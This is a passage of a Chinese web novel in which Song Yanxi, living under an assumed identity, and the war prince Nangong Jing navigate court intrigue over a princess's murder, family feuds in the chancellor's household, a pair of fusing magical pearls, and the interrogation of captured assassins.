“彩儿,你怎么会在此?这不是你该来的地方,还不快速速回去!” 当日,宋颜夕是在半路直接被南宫景带走的,被带走之后便发生了大长公主那件事,宋章想要从这件事摘出去,第一要务就是看住这个女儿。 然而宋颜夕根本不接他的话:“恕女儿不能从命。如今义母遭此横祸,我这个做女儿的,怎能不在灵前尽孝?” 宋章脸色微变,余光瞥到一旁的南宫景时,才改了出口的话:“你倒是有孝心!” “宋相不必忧心,本王既带她来,便能护她周全。毕竟,她如今也要唤本王一声小舅舅。” 听到那声“小舅舅”的时候,宋颜夕扯了扯嘴角,最后,还是朝宋章福了福深:“父亲放心,小舅舅会照顾我的。” 宋章无奈,只能拂袖离去。 “这可是御书房,你确定,我能进去?” 走到御书房门口的时候,宋颜夕问了一句。 南宫景摇头:“自然不能。” 他指了指御书房隔壁的房间,道:“不过,你可以去那儿。” 宋颜夕不解:“那是何处?” “本王的休憩之所。” 宋颜夕不说话了。 一直以来,她只听说皇帝对战王很是信任,却没想到,竟然会在自己的御书房隔壁给战王单独备了一间卧榻。 这之间,恐怕不仅仅是信任真么简单了吧。 将宋颜夕领到那间房之后,南宫景转身便去了御书房。 宋颜夕也是在进入之后才知道,这个房间竟然有一个极小的窗口。透过那个窗口,可以清楚地看到御书房发生的一切。 南宫景走进去的时候,楚王和国师正吵得面红耳赤。 地上还跪着一个戴着枷锁的中年男人,若宋颜夕没有猜错,那个人就是章裘。 皇帝端坐在龙椅之上,面对底下那两位的争吵,倒是表现得一如既往的平和。 “皇叔来了?快赐座!” 一直到南宫景出现的那一刻,皇帝脸上才闪过肉眼可见的喜色。 而堂下的南宫宴眉眼间却闪过一道厉色。但很快,就被他敛去。 南宫景朝皇帝拱了拱手:“听闻杀害公主的凶手已经落网,臣特来看看,究竟是何人竟然如此狼子野心,敢在天子脚下杀害当朝公主。” 说罢,他的目光扫向章裘:“就是此人,用巫蛊之术害人吗?” 皇帝直接从龙椅上走了下来,他在南宫景身边站定,道:“就是此人。不过,这当中牵涉颇深,皇叔不如先看看这个。” 说罢,他招了招手,立刻有内侍捧着一些信件上前。 南宫景迅速看完那些信件,最后,直接一脚踹在南宫宴身上:“吃里扒外的混账东西,竟敢对自己的亲姑姑下手?” 南宫宴被他踹倒在地的时候,猛地吐出一口血。 宋颜夕清晰地看到,皇帝嘴角闪过一道得意的笑。 “皇叔明鉴,侄儿对陛下,对姑姑向来忠心耿耿,如何能勾结外人暗害姑姑呢?这一切,都是国师栽赃嫁祸。” 他迅速起身,右手指向国师:“此人先前在九台山便已经对陛下不敬,如今又挑唆我与陛下的君臣关系,其心可诛。臣建议,彻查此人。” 国师冷笑一声:“楚王这信口拈来的本事还真是让老夫刮目相看,陛下早已查明,老夫那日九台山上所为实乃遭人暗算。如今,老夫怀疑那个在背地里对老夫下毒之人,便是你,楚王。” “国师此话可不能乱说,毕竟,楚王可是朕的兄长呢。若是没有证据,污蔑皇亲国戚,可是大罪,就算你是国师,也不例外。” 皇帝表面上是在为南宫宴讲话,实则,没是在暗示国师,用证据说话。 国师在朝堂立足多年,只需皇帝一个眼神就能猜到皇帝的想法。 下一刻,他就从怀中掏出一个瓷瓶:“禀陛下,这是老臣从章府搜出来的。不妨请太医验一验,这瓷瓶中装的究竟是何物。” 太医很快就给出结果,那瓷瓶中装的是能致人疯癫的毒物。 “冤枉啊陛下,这毒物不是臣的,是国师,是他栽赃陷害。” 被捆住手脚的章裘跪在地上,言语中尽是悲切。 他确实是楚王的人,也曾为楚王做了许多腌臜事,但,此事绝对不是他干的。 然而皇帝本就有除去楚王的心,如何能容他狡辩? 国师在旁边煽风点火几句,皇帝就直接命人将章裘拖了下去。而且,当场给他判了死刑。‘ 章裘被带走之后,国师又拿出几项铁证,都是楚王指使章裘敛财做的一些恶事的证据。 “楚王,你还有什么可说的?” 皇帝将那些证据甩在楚王脸上。 第168章:接你回去 这是宋颜夕第一次在这个年轻的帝王身上看见怒气。 然而楚王也不是这么轻易就能被拉下马的,他直接否认了和章裘的关系,并且,将所有罪责都推在章裘身上。 正如南宫景曾经说过的,楚王做事向来很懂得“善后”。 国师拿出的那些所谓证据,都是指向章裘,至于他和楚王之间联系的那些信件,并未落楚王的印鉴。 虽然没能定楚王的罪,但最终,皇帝还是罚了楚王一年俸禄,并且,勒令他闭门思过一个月。 “这个南宫宴,做事果真是滴水不漏。” 等南宫宴和国师都退下之后,皇帝顿时像一个没长大的孩童一样,毫无形象地瘫坐在龙椅上。 “皇叔,咱们就不能直接将他......这样吗?”说着,他比了个抹脖子的动作。 南宫宴淡淡开口:“忘了告诉陛下,青云殿有客人。” “啊?” 青云殿,指的便是宋颜夕此刻所处的殿名。 当皇帝反应过来南宫景话中的意思之后,立刻弹跳起来:“皇叔怎么不早说?朕的一世英名啊!!!” 隔壁的宋颜夕:...... 没想到,你是这样的皇帝。 没过多久,青云殿的门就被打开了。 率先走进来的,是皇帝。 见到宋颜夕的时候,皇帝显然愣了一下:“皇叔说有客人,朕以为是谁呢。原来,竟然是宋二姑娘。” 说完,他神秘兮兮地凑在南宫景耳边说了一句:“皇叔对这位宋而姑娘,很不一般啊。” 谁料,南宫景竟然丝毫不掩饰他的心思:“若非如此,我又如何会将人带到此处?陛下早些认识也好,毕竟,以后都是一家人。” “皇叔,你是认真的?” 皇帝打量着宋颜夕:这姑娘到底有何特别之处,竟然让他这位向来不近女色的皇叔如此另眼相待? 她,该不会真的会成为他的小皇婶吧? 他们的对话很轻,宋颜夕并没有听到他们说什么。 不过从皇帝的眼神中,她似乎读懂了什么。 “臣女参见陛下。” 没有下跪,没有磕头,只是浅浅地福了福身。 皇帝也没与她计较,大手一挥就让她坐下了。 “既然是一家人,便无需多礼了。” 皇帝走到首位坐下,看向宋颜夕:“姑姑的身子,如何了?” 宋颜夕答道:“殿下身子无碍,正在府中静养,陛下无需担心。” “如此,便劳烦宋二姑娘留在公主府照料一二了。” 这话着实不像一国之君会说的。 不过既然对方如此客气,宋颜夕自然也不会给自己找不痛快,她爽快应下:“这是臣女应该做的。” 与宋颜夕拉扯了几句之后,皇帝便与南宫景说起了正事:“此局既然已经开始,便不能轻易结束。皇叔可有下一步计划?” 南宫景淡淡开口:“鱼儿既已上钩,咱们只需静待时机起钩即可。” “皇叔的意思是,南宫宴还会有动作?” “他是不会让自己处于下风的,此番摔了跟头,必然要找回场子。” “那皇叔认为,他下一步要对付的人,是国师,还是朕呢?” 南宫景却摇了摇头:“都不是。” ...... 皇帝实在依赖南宫景,不管做什么决定,都要先问他的意见。 在青云殿待了一会儿之后,皇帝便提出要和南宫景单独去御花园走一走。 宋颜夕明白,皇帝这是在避着她。 和南宫景密谈之后,皇帝又邀请他们留下来用膳。 等到华灯初上的时候,终于恋恋不舍地送他们出宫。 “王爷与陛下,感情很好啊。” 回去的马车上,宋颜夕忍不住出声调侃。 南宫景不以为意:“我与陛下也算是从小一起长大的,感情自然深一些。” 虽然他的辈份高,但其实,也就比皇帝大了几岁而已。 皇帝并没有强大的母族,是以,从小便遭人排挤,若不是南宫景一直护着他,他早就死在那些兄弟手中了。 是以,皇帝对南宫景才会特别依赖。 “既然如此,王爷为何不留在陛下身边精心辅佐?以王爷在朝中的地位,没必要亲自远赴沙场吧?”宋颜夕又问。 这,也是她一直以来想不明白的地方。 没想到,南宫景却反问了一句:“你似乎,对西菱的事很关心。怎么,宋姑娘与西菱还有渊源不成?” “我就是随口一问。你要是不愿意说,那便算了。” “倒也没什么不能说的,我去战场,是为了一个人。” “为了谁?”宋颜夕问。 南宫景看向她,沉默了好一会儿才继续答道:“宋姑娘可听说过西菱女帝,月容?” “女帝月容?” 宋颜夕心中警铃大作。 果然,这家伙亲上战场,便是为了打压折辱她。 可她自认,在战场相见之前,没和他结仇啊? 不行,得赶紧想办法离开这里。若是让他发现她的真实身份,怕是这好不容易捡回来的命又要交代在这儿了。 “想什么呢?”南宫景伸出手在她眼前晃了晃,“其实,我与月容......” “公主府到了,我先走一步。” 还没等南宫景的话说完,宋颜夕就已经掀开马车跳了下去。 南宫景出来的时候,只看到一道残影在暮色中划过。 “你慢点儿!”南宫景喊了一句。 如此一来,宋颜夕跑得更快了。 “这就害羞了?我还什么都没说呢。” 南宫景摸着下巴看向宋颜夕逃离的方向。 不知为何,他总觉得有哪里不对劲。 接下来的几天,宋颜夕都在等南宫宴出手。 没想到,没等到南宫宴的消息。却等来了意想不到的人。 “父亲!您怎么来了?” 不仅仅是宋章,连姜淑萍也来了。 “自然是来吊唁大长公主,顺便,接你回家。” 因为南宫景曾经说过,在案情水落石出之前,不予出殡。 而且此事牵扯颇深,谁都怕在这个节骨眼上得罪南宫景。 是以,虽然置了灵堂,但却没几个人敢来吊唁。 宋章,是第一个。 “案情还未查明,女儿……” 宋颜夕还想说什么,却被姜淑萍打断:“彩儿啊,我们都知道你与殿下母女情深,但你毕竟是个未出阁的姑娘,离家久了总是不好。你就听你父亲的,收拾收拾,与我们一道回家吧。” 宋颜夕打量着姜淑萍。 他们在这个时候把她接回去,当真只是因为这个? 还是说,宋章已经嗅到了什么? 毕竟,他和楚王关系匪浅。 “既然宋相和夫人都亲自来接,小宋你就和他们回去吧。” 小宋?这又是什么新鲜称呼? 宋颜夕转头,正好和南宫景的目光对上。 第169章:宋章的试探 最终,宋颜夕还是和宋章夫妇一道回了宋府。 “哟,瞧瞧这是谁回来了啊?这不是咱们家飞上枝头的野山鸡吗?果真是扫把星转世,刚和公主殿下认了亲,就把公主殿下克死了。” 还没踏进梧桐苑,宋颜夕耳边就响起一道不怀好意的声音。 宋颜夕轻哼一声:“野山鸡说谁呢?” “野山鸡说你!” 宋颜夕点头:“看在你这野山鸡还有点觉悟的份上,姐姐便不与你计较了。” “宋彩衣,你竟敢讽刺本小姐!” 眼看宋娇娇就要冲上来,宋颜夕先她一步行动。 她用手肘将宋娇娇抵在门上,眸子里只有一片冷芒:“宋娇娇,我可没心思与你玩这种无聊的游戏。你若是再招惹我,信不信我让你再也开不了口。” 宋娇娇一张脸憋得通红:“你在威胁我?” “你以为这是威胁吗?” 宋颜夕说完,直接拔下宋娇娇头上的发簪,仅仅是一个呼吸的瞬间,尖锐的簪子就抵在宋娇娇的脖子上。 “有些话我只说这一次。我对你那位心心念念的柳世子没有兴趣,更无心与你们争什么家产,至于你们那些内宅的弯弯绕绕,我更是不懈。若是还想保住这条命,以后就离我远远的。懂了吗?” 宋颜夕并不仅仅是吓唬她这么简单。 她的手上微微用力,宋娇娇的脖子上就多了一道血痕。 做完这一切之后,宋颜夕转身走进了梧桐苑,只留宋娇娇在那儿怀疑人生。 “姑娘,您回来了?” 刚走进梧桐苑,阿贵就一脸谄媚地迎了上来。 宋颜夕扫了他一眼,并没有给他任何回应。 在宋颜夕进屋之后,阿贵脸上的谄媚顿时变成一片阴狠之色。 【上不得台面的乡野村姑,真把自己当主子了?等我完成尊使交代的任务,必定让你尝尝爷的厉害。】 宋娇娇是个欺软怕硬的主,被宋颜夕恐吓一番之后,倒是消停不少。 但某些人却不然。 蹦跶得最欢的,还要数宋诚那个没头脑。 “宋彩衣,我问你,娇娇身上的伤是不是你弄的?” 宋诚冲进来的时候,宋颜夕正在用膳。 她慢条斯理地咬下一块肉:“宋娇娇让你来的?” “你别管谁让我来的,我只问你,娇娇脖子上的伤究竟是不是你划伤的?” 宋颜夕放下筷子,看向宋诚:“是我划的,又如何?” “你这村姑,果然心思歹毒。走,跟我去见父亲。这次,我定要让父亲严惩你。” 说着,宋诚就要来拉宋颜夕的手。 结果,他的手还没碰到宋颜夕,她就惊呼一声往后倒了下去。 倒下的时候,还顺手把桌上的碗碟拂了一地。 “你这逆子,又在做什么?” 宋章进来的时候,就看到宋诚面色铁青地站在那儿,宋颜夕柔弱无依地倒在地上,屋内一片狼藉。 “父亲?您来得正好。这个宋彩衣实在歹毒,竟然划破了娇娇的脖子。此等恶女,实在是不能再留在府中了。” 宋诚义愤填膺地说着,却见宋章盯着他的目光越来越冷。 “逆子,给我闭嘴!” 下一瞬,宋章已经一脚将宋诚踹飞出去。 宋诚一脸懵:“父亲,您没听到我说的话吗?我说,是宋彩衣弄伤了娇娇......” “父亲,二哥似乎对我有什么误会。我自小长在乡下,饥荒之年尚不能果腹,以至于身子羸弱,如何能弄伤生龙活虎的四妹妹呢?” 宋诚的话还没说完就被宋颜夕打断。 宋诚不可置信地看向宋颜夕:“你刚刚可不是这么说的。怎么,难道你还想期满父亲不成?” 宋颜夕缩了缩脖子:“彩儿不敢。二哥若非说是我伤了四妹,那,便是我伤的吧。” “你这女人,怎么这般讲话?难道还是我把刀架在你脖子上逼你承认的不成?” 宋诚说着,从地上爬起来朝宋颜夕走了过去。 宋颜夕将伸出手挡住自己的脸,满是惊恐地喊道:“对对对,都是我干的。我这就自请离府,二哥,别打我。” “砰!” 宋诚再一次被宋章踹飞。 “爹,你为何又踹我?” “来人呐,把这逆子拖下去闭门反省,没有我的命令,谁都不能将他放出来。” 一直到被拖走,宋诚都不明白到底是哪里不对。 “彩儿受惊了吧,快起来。” 宋章亲自将宋颜夕扶了起来。 很快,就有丫鬟鱼贯而入,将屋子收拾干净。 “让爹爹担心了。” 虽然宋颜夕并不是那种娇柔的性子,但在宋章面前,她向来知道怎么做吃得开。 为了得到黑铁矿的线索,她不介意和宋章演绎出父女情深的戏码。 “彩儿啊,你也别怪你二哥。他打小就是这个性子,其实,本性是不坏的。” 宋颜夕轻声答道:“女儿自然是知晓的。只是,二哥似乎对我有什么误解。” “你二哥那边,我自会教育他。今日来找你,是为了大长公主的事。” “公主殿下?” 宋颜夕顺势低下头:“父亲您说,殿下这么好的人,究竟是谁要害她呢?” “的确令人惋惜,大长公主可是东越的功臣啊。如今横死家中,连陛下都震怒了。为父想要替陛下分忧,无奈,无从下手。彩儿那日就在大长公主府中,可知当时究竟发生了什么?” 宋颜夕作回忆状。 “那日,女儿早早就睡下了。听到动静的时候,殿下已经遇刺,当时场面非常混乱。女儿也别吓得不轻。” 宋章又问:“都说是梦安郡主刺杀殿下,彩儿可曾见过梦安郡主?” “见过的。” 宋颜夕继续答道,“那件事发生之后,战王就将梦安郡主打入地牢了。就连卢郡王来保释郡主,都被战王扣下了呢。听说,有不少人都看到郡主拿刀刺了殿下。” 这些消息,和宋章了解到的并无二样。 他观察着宋颜夕,继续问:“既然证据确凿,陛下如何会将楚王殿下幽静府中?那日在御书房,究竟发生了什么?” 进宫那日,宋颜夕曾经撞见过宋章,但当时,宋章已经准备离宫。是以他并不知道当日发生的事情。 “御书房乃机密重地,女儿如何能进入呢?那日,战王只是将女儿安置在偏殿。女儿也不知楚王与此事的关联。” “是为父犯糊涂了。此等要事,彩儿如何会知晓?” “对不起啊爹爹,是女儿没用,无法为您分忧。” “彩儿莫要将此事放在心上,公主的案子,是朝党之争,与你没有关系。” 宋颜夕狐疑。 宋章,是在安慰她吗?怕她被“扫把星”的名声所累? 寒暄了一阵之后,宋章便离开了。 看着他离开的背影,宋颜夕陷入沉思。 宋章在离开之前状似无意地提到楚王座下一个叫郭子录的谋士,是什么意思呢? 第170章:深夜来客 “郭子录?” 当南宫景从宋颜夕口中听到这个名字的时候,显然愣了一下,“你问他做什么?” “你对此人了解多少?” “此人性格诡谲,手段毒辣,是南宫宴最得力的谋士之一。” “他的底细呢?”宋颜夕又问。 南宫景剥下一瓣橘子递给她:“我手上倒还真有他的资料,你若想要,我明日便让人整理了给你送过来。” 此时此刻,他们正坐在宋颜夕的房间里交谈。 不多时,屋外响起嘈杂的脚步声。 “都傻站着干什么?还不快给我把那扫把星拖出来。” 这声音,是相府的那位老夫人。 南宫景眉头微皱:“我这就去将人打发了。” “等等。” 宋颜夕一把将他拉回来:“你就这样出去?若让人知道你堂堂战王半夜翻墙进了我的房间,明儿个我可就真的要被浸猪笼了。” 南宫景抿嘴不语。 “不就是个半只脚踏进棺材的老家伙吗?对付她,我一人足以。” 宋颜夕直接将人推到屏风后,眼中满是警告之意,“躲好了,千万别出来啊。” 南宫景无奈,只能乖乖在屏风后躲好。 就在外头的人即将冲进来的时候,宋颜夕推门而出。 “祖母这么晚了来我梧桐苑,可是有什么吩咐?” 和那些人脸上的狰狞之色相比,宋颜夕的表情显得格外淡雅。 “把她拿下。”见到宋颜夕的时候,老夫人眼中闪过厉色。 与此同时,梧桐苑的下人也一股脑涌上来将宋颜夕护在身后。 “敢拦我的路?都反了天不成?” “我等誓死保护二姑娘。” 冲在最前面的,还是阿贵。 “好啊,果然贱蹄子养出来的都是上不得台面的东西。真以为凭这几个人就能在府里无法无天了吗?你们,都给我上,把人给我带走,别弄死就行。” 眼看情况愈演愈烈,宋颜夕直接拨开人群走到老夫人面前站定。 “孙女不知何处又惹了老夫人不快,竟让您厌恶我至此?” “厌恶你?难道不应该吗?你这小蹄子,刚回来就搅黄了婉儿的婚事,这回又把娇娇弄伤了,还害得你二哥被禁足,我看,你根本就是来克我们的。” 宋颜夕面不改色:“祖母这话说得不对。第一,大姐姐的婚事,是父亲母亲的安排,至于安远侯府退婚,个中缘由想必祖母比任何人都清楚。第二,您说我弄伤了四妹妹,可有证据?四妹妹亲口指正我了吗?第三,二哥被关禁闭是他言行有失,与我又有什么干系?祖母将所有罪责都推在我的身上,是否有失公道?” “哼,我倒是不知道,你竟还如此巧舌如簧。今日,便是你说破了天,也得给我滚出宋家。” “祖母让我滚出宋家,父亲可同意?” “怎么,还想用你父亲压我?小丫头片子,到现在还没有弄清楚状况,在这个家,我说一,没有人敢说二。” “是吗?” 宋颜夕勾了勾嘴角,还真毫不反抗就被那些人押走了。 刚出梧桐苑,就见宋娇娇戴着面纱急匆匆走了过来。 “祖母,您误会了。我身上的伤,是自己不小心摔倒被石子划破的。” 听了她的话,老夫人脸上闪过不解之色。 最后,她拉着宋娇娇的手背拍了拍:“娇娇啊,你别怕她,有祖母在,一定替你做主的。” “祖母您真的误会了,不仅是我,二哥的事情也和二姐没有关系的。我已经去看过二哥了,二哥说,他当时顶撞了父亲,还是二姐姐替他求的情呢。” “娇娇你说的都是真的?” 老夫人狐疑地看着宋娇娇,总觉得今日的宋娇娇有些奇怪。 “当然是真的,祖母啊,您听我说......” 宋娇娇挽着老夫人的胳膊,拉着她走到一边说了几句话。 也不知她们说了什么,最后,老夫人恶狠狠瞪了宋颜夕一眼之后就离开了。 老夫人离开之后,宋娇娇几乎是一个箭步冲到了宋颜夕面前, “宋彩衣,你到底对我做了什么?” 说着,她一把扯下脸上的面纱。 只见宋娇娇的脸上充满了红色的斑点,仔细一看,还有流脓的痕迹。 宋娇娇一把抓住她的衣领:“说,是不是你对我下毒了?” 宋颜夕抓着她的手腕将她甩在一边,语气淡淡:“我奉劝过你的,让你别找我麻烦,可是,你不听啊。” “我,我何时找你麻烦了?” “你敢说,宋诚和老夫人不是受了你的挑唆?” 两人对视了几个呼吸,最后,还是宋娇娇先转过头去:“我可什么都没干,那是你小人之心了。” “是不是,你我心知肚明。” 宋颜夕说着,转身就往回走。 宋娇娇见状,赶紧追上去她:“你别走啊宋彩衣,快把我身上的毒解了。” 宋颜夕头都没回:“我何时对你下毒了?四妹妹,可莫要小人之心度君子之腹。” “好好好,我承认,是我挑唆二哥和祖母对付你。” 宋娇娇张开双手拦在宋颜夕面前,“现在,可以为我解毒了吧?” “我只是个上不了台面的村姑,哪儿有这本事啊?四妹妹有这个时间与我周旋,不如找个大夫瞧瞧呢。” “要是大夫能瞧,我还能找你?” 宋娇娇提高音量:“你到底要怎么样才能替我解毒?” 最后,宋颜夕朝她勾了勾手,示意她附耳过来。 宋娇娇脸上闪过不可置信之色:“你说的都是真的?” “自然。” ...... 宋娇娇离开之后,宋宴席耳边出现一道声音:“你和她说什么了?” 看着忽然出现在自己身后的南宫景,宋颜夕做了个拍胸脯的动作:“王爷,您不知道人吓人会吓死人吗?” 南宫景将手背在身后,侧身看向宋颜夕:“本王可不认为宋姑娘是如此胆怯之人。” “不是让你在屋里躲好,别出来吗?” “放心吧,没人看到我。” 宋颜夕绕过他往院子里走:“我这院子,王爷是越发来去自如了,王爷今夜到底来找我做什么?” “自然是要紧的事。” 南宫景说着,在宋颜夕耳边说了几个字。 宋颜夕环顾四周,压低声音,道:“你找到那样东西的线索了?” 第171章:青红双珠 “那人如今在何处?”宋颜夕又问。 “定阳。”南宫景用口型吐出三个字:【巨鲨帮】 一提起这个,宋颜夕的眼中就闪过一道戾色:“果然,她和那些人是一伙的。” “我已经派人去了定阳。”南宫景说。 宋颜夕开始盘算,是不是应该也让人去一趟。可她人手有限。 正想着,却听南宫景又说了一句:“有消息后,我会第一时间告知你。” “为何?”宋颜问。 以这男人的聪明劲,不该找到东西后直接将东西收入囊中吗? 为何,还会特意来与她分享这个消息? 男工具看向宋颜夕。 若他说,他是找个借口来与她见上一面,这女子大抵是不信的。 于是,他随意扯了个谎言:“我自然有我的主张,毕竟,宋姑娘是我的盟友。不是吗?” 说话间,他们已经进了房。 就在他们进房之后,黑暗中探出一颗脑袋。 “定阳?” 阿贵嘴角扬起一抹阴险的弧度,“潜伏这么久,可算是让我逮到你的尾巴了。” 屋内,宋颜夕指了指窗外:“明知道有人偷听,还故意提起这个,王爷,又有什么计划了?” 南宫景弹了弹不知从何处窜出来的那颗青珠:“果然什么都瞒不过宋姑娘。” “所以,那样东西并不在定阳吧?” 她曾经让人调查过巨鲨帮的底细,禹州才是他们真正的据点。 “没错。” 南宫景也看向窗外,“若非如此,怎么能钓出大鱼呢?” “所以,你真的找到了那个盒子的下落?真在宋彩衣手上?” 根据南宫景的最新情报,宋章在这十几年中曾经派了不少人在林音镇暗中保护宋彩衣,而且,是瞒着宋家其他人的。 而那样东西,极有可能就被他暗中送给了宋彩衣。 “你的意思是,宋章早就知道宋彩衣长什么样?也就是说,他从一开始就知道我是假冒的?” 南宫景点头:“不仅如此,他现在每个月还能收到从禹州寄来的书信。” 书信传送的方式很隐秘,他的人也是费了很大的劲才截获了其中一封。 那书信上用的都是密文,而落款处,只有一个特殊的符文。 “所以,你觉得那个盒子很可能在宋彩衣手里?” 这样看的话,宋章对宋彩衣的态度就很耐人寻味了。 只是,他已经是一国丞相,若当真放心不下这个女儿,直接将人接回来便是,何必如此偷偷摸摸的呢? 莫非,当年宋彩衣母女被赶出上京城,还有其他原因? “不想这些了,收拾一下,和我走一趟吧。” “去哪儿?”宋颜夕问。 南宫景取过架子上的披风挂在她肩上,转身将那颗跳动的青色珠子拽在掌心:“黄金楼。” 宋颜夕抬头:又是黄金楼? 再一次来到黄金楼,这儿又恢复了以往的热闹。 他们依然是乔装打扮,不过,白无双似乎一眼就认出了他们。 包厢里,白无双、宋颜夕、南宫景三人面面相觑。 “王爷果然守信用,白某在此谢过了。”白无双朝南宫景拱了拱手。 随即,他便看向宋颜夕:“白某有一事不解,请王爷将姑娘带到此处,实是为了解惑。” 宋颜夕不明所以:“解惑?找我?” 她与黄金楼素无交集,顶多也就是光顾了这地方几次,她能帮白无双解决什么难题? 似是看出了她的疑惑,白无双从身后的架子上取下一个盒子。 “姑娘,可见过此物?” 盒子打开,露出一颗圆滚滚的珠子,只不过,那颗珠子却是鲜艳的红色。 “瞧着有些眼熟。” 余光瞥过南宫景,这东西,和他身上那颗青色珠子倒是相似得很。 正想着,那红色珠子似是有了感应一般,竟是直接从盒子里“跳”了出来,它先是绕着宋颜夕飞了一圈,最后,停留在南宫景面前。 “看来,它是找到朋友了。”白无双意味深长地看向南宫景。 南宫景闻言,从怀中取出那颗珠子。 挣脱束缚之后,青珠变成朝红珠的方向“飞”了过去。 两颗珠子碰撞的那一刻,几人眼前都闪过一道刺耳的白光。 “竟然,融合了?” 宋颜夕咋舌。 此时此刻,那两颗珠子已经彻底融合在一起,个头没有变化,却是一半青色,一半赤红。 它在屋子里横冲直撞,甚至还打翻了不少东西。 最后,那颗红蓝两色环绕的珠子“啪嗒”一声掉在宋颜夕的肩头。 宋颜夕将那珠子取下来看了看,除了温度有些烫手之外,这珠子似乎没有任何异常。 “这到底是什么东西?” 宋颜夕看向白无双:“既然白掌柜能拿出此物,想必知道其来历。” 根据白无双所说,这珠子名唤落霞,传说是上古神物,可起死回生。 “落霞本是七彩神珠,相传,数千年前因为一场浩劫,神珠被外力击碎,故而化作七色流光消失于世间。” 传闻提及,七色流光遗落于世间之后,凝聚成七颗不同颜色的珠子散落各地。而他们眼前的这青色和红色两颗珠子,便是其中之二。 “白某也是无意间得到这颗赤色珠,得知这个传说后,便一直想一睹落霞神珠的风采。这才邀二位至此。”白无双继续说道。 宋颜夕看向他:“你如何知道青色珠子在我们身上?” “宋二姑娘或许不知道,落霞珠之间是有感应的。我得到红珠日子比姑娘长,多少知道一些门道。” 宋颜夕捏着那赤青两色珠,瞧了半天也没瞧出什么名堂:“那,这珠子如今归谁?” “自然是归姑娘。” 白无双几乎没有任何犹豫就做了决定:“白某寻落霞珠只为猎奇,姑娘日后若是得了其他珠子,能否邀在下一观?” 宋颜夕不免觉得好笑:“你都说了,这是上古神物。能得到这两颗已是十分不易,哪儿还能得到更多?” 白无双却是笑着摇了摇头:“姑娘此言差矣,白某有一种预感,这珠子,与姑娘你甚是有缘。或许有朝一日,姑娘还真能集齐七彩神珠,让落霞再现人间。” 白无双说得笃定,宋颜夕却是不信的。 她想的是,这人是不是编了传说糊弄她。实则,这珠子内藏玄机,放在她身上,是为了达成某种目的。 南宫景的想法与她不谋而合。 二人交换了一个眼神之后,南宫景问道:“既然你已经得到了想要的,现在该满足我们的要求了吧。” “那是自然。” 白无双起身做了个请的姿势:“二位不就是想知道那天闯入我黄金楼的那两人是何底细吗?跟我来。” 第172章:又来一桩婚事? 白无双带着他们来到黄金楼地下室。 “你们这儿还有密道呢?”宋颜夕问。 其实,黄金楼有密道并不奇怪,她好奇的是,白无双怎么会让他们知道密室所在。 他就不担心,南宫景抄了他的黄金楼吗? 目光在两个男人之间流转。宋颜夕暗忖,莫非,他们还达成了其他交易? “到了,就是这儿。” 白无双推开其中一扇石门。 还没走近,就嗅到一股铁锈味。 “你确定,当时我们追击的就是这两个人?” 看着挂在石壁上奄奄一息的那两个人,宋颜夕忍不住皱眉。 所以,当时白无双扔给他们的那两具尸体,果然是假的。 白无双点头:“那晚闯入黄金楼的,除了二位之外,便只剩那两个人了。若你们没有追错人的话,那定然是这两个人。” 白无双朝密室内那个审讯者挥了挥手,那人立刻舀了一勺水泼在那两个人脸上。 刹那间,陷入昏迷的两人发出一声痛苦的呻吟。 宋颜夕走近嗅了嗅,那哪儿是什么水啊,根本就是加了盐的。 这一刻,她对白无双心生警惕。 这个男人外表看着无害,实则手段毒辣,若为对手,一定是个难对付的。 那两个人被弄醒之后,白无双朝他们使了个眼色:“接下来,这两个人就交给你们了。” 眼见他们就要离开,南宫景忽然叫住他们:“等等。” “审问了这么久,可问出些什么?” 白无双耸肩:“这两个人的骨头硬得很,宁死不屈。王爷,你们的对手不简单啊。” 说完之后,白无双就领着他的手下离开了。 “你怎么看?”确认他们离开之后,宋颜夕压低声音问了一句。 南宫景打量着那两个几乎只剩下一口气的黑衣男人:“白无双的话,只能信一半。” 他相信这两个人是他们当初追击的那两个黑衣人。 但若说白无双从他们嘴里一句话都没套出来,他是不相信的。 宋颜夕了然:“只要这两个人还能喘气,我就有办法让他们开口说话。” 逼供这一套,她并不是不懂。 不过当务之急,还是得先把这两个人从鬼门关拉回来。 看他们这个样子,若是再不医治,怕是撑不过两个时辰。 宋颜夕给他们二人施针的时候,南宫景就在一旁看着。而他们不知道的是,在这间石室的某个角落,有一个细小的孔。 那孔瞧着并不起眼,但内里却暗藏乾坤。 圆孔的另一端,一只眼睛正饶有兴致地盯着这边发生的一切。 “如何?” 宋颜夕收针之后,南宫景问了一句。 “死不了。” 说完,宋颜夕从怀中掏出两枚丹药给他们服下。 没过多久,那两人就悠悠转醒。 “看,这不就醒了吗?” 那两人好不容易从鬼门关捡回一条命,还没来得及好好看一眼这个世界,脖子就被宋颜夕掐住了。 “活着的滋味如何?”宋颜夕朝他们露出一个十分得体的微笑,“若是不老实回答我的问题,本姑娘随时都能再把你们送回阎王殿。” 两个黑衣人:...... 他们不是都招了吗?黄金楼的人是不是有什么大病?为什么一而再再而三用这种变态的方法审讯他们。 他们并不怕死,怕的是,重复经历死亡的恐惧。 几乎是不费吹灰之力,宋颜夕和南宫景就得到了想要的答案。 那两人配合得十分到位,包括他们今日穿了什么里衣全都交代得干干净净。 总之就是,能说的不能说的,都说了。 宋颜夕几乎不敢相信:“听到他们说的了吗?他们说,幕后主使,竟然是你那个好侄子。” 说着,宋颜夕抬手指了指头顶的方向。 南宫景脸色不悦。 皇帝是什么人,他再清楚不过。 若说皇帝用帝王之术制衡朝堂各方势力他信,但若说他派人刺杀大长公主,又栽赃嫁祸给楚王,目的就是为了拔出楚王这颗毒瘤,他是打心眼里不相信的。 “此事我自会查清楚,在那之前,你莫要轻举妄动。尤其是不要相信白无双的话。” 离开黄金楼之后,二人并肩走在街道上。 此时的街道十分安静,除了他们二人之外,便只剩下夜晚的风声。 宋颜夕说:“我倒是觉得,那两个人不像说谎。” 南宫景停下脚步:“为何这么说?” “你想啊,那两个人的样子摆明是已经遭受过严酷的精神刑罚,而且,已经形成了肌肉记忆。正是因为如此,他们才会这么轻易招供。在那样的情况下,他们根本不可能编造谎言。” “所以,你也觉得这一切都是陛下做的?” 相对于宋颜夕,南宫景的表达直白多了,似乎并不担心他的此番言语会为自己招来祸端。 “从目前的情况来看,是这样没错。”宋颜夕也直言不讳,“不过,也还有另一种可能。” “哦?” 南宫景看了她一眼,示意她继续说下去。 “若那两人也是受人蛊惑,以为自己是为陛下做事,便又另当别论了。” 虽然这样说有些荒谬,但若是当真有人包藏祸心,也不是没有这个可能。 “看来,要查清此事,还需去北顾山走一趟了。” 根据那两个人所说,他们的基地就在北顾山的一处隐秘山谷中。 